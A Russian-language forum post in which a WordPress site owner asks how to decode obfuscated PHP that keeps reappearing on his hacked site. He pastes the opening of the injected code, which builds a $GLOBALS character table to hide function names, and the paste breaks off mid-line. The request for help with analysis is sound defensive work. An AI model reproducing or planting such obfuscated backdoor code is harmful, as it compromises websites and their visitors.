NightHunter
Экзорцист
- Регистрация
- 25 Фев 2014
- Сообщения
- 728
- Реакции
- 1.057
- Автор темы
- #1
Есть свой сайт на WP, с недавнего времени, начали появляться всякие файлы и т.д. менял пароли везде, вредоносный код чистил. Кароче, меня интересует, каким макаром, можно расшифровать подобный код,чтобы понять что он делает.
Код:
<?php ${"\x47\x4c\x4fB\x41\x4c\x53"}['a55c05e'] = "\x36\x35\x40\x2f\x70\x73\x7a\x56\x29\x60\x71\x2c\x44\x27\x25\x67\x3e\x7b\x3c\x4b\x38\x4a\x5b\x6a\x69\x41\x63\x43\x7e\x3d\x2b\x42\x51\x23\x37\x2a\x21\x34\x3f\x64\x72\x6f\x62\x5f\x3a\x59\x50\x54\x6e\x57\x5c\x45\x2e\x2d\x68\x6d\x53\x7d\x77\x58\x5e\x78\x46\x39\x30\x76\x47\x5d\x6b\x6c\x61\x32\x66\x20\x4c\x24\x33\x26\x7c\x55\x48\x5a\x79\xd\x74\x9\x4f\x3b\x31\x28\x49\x52\x65\x22\x4d\x75\xa\x4e";
$GLOBALS[$GLOBALS['a55c05e'][41].$GLOBALS['a55c05e'][37].$GLOBALS['a55c05e'][20].$GLOBALS['a55c05e'][20].$GLOBALS['a55c05e'][63].$GLOBALS['a55c05e'][71].$GLOBALS['a55c05e'][63].$GLOBALS['a55c05e'][63].$GLOBALS['a55c05e'][37]] = $GLOBALS['a55c05e'][26].$GLOBALS['a55c05e'][54].$GLOBALS['a55c05e'][40];
$GLOBALS[$GLOBALS['a55c05e'][39].$GLOBALS['a55c05e'][63].$GLOBALS['a55c05e'][76].$GLOBALS['a55c05e'][76]] = $GLOBALS['a55c05e'][41].$GLOBALS['a55c05e'][40].$GLOBALS['a55c05e'][39];
$GLOBALS[$GLOBALS['a55c05e'][65].$GLOBALS['a55c05e'][26].$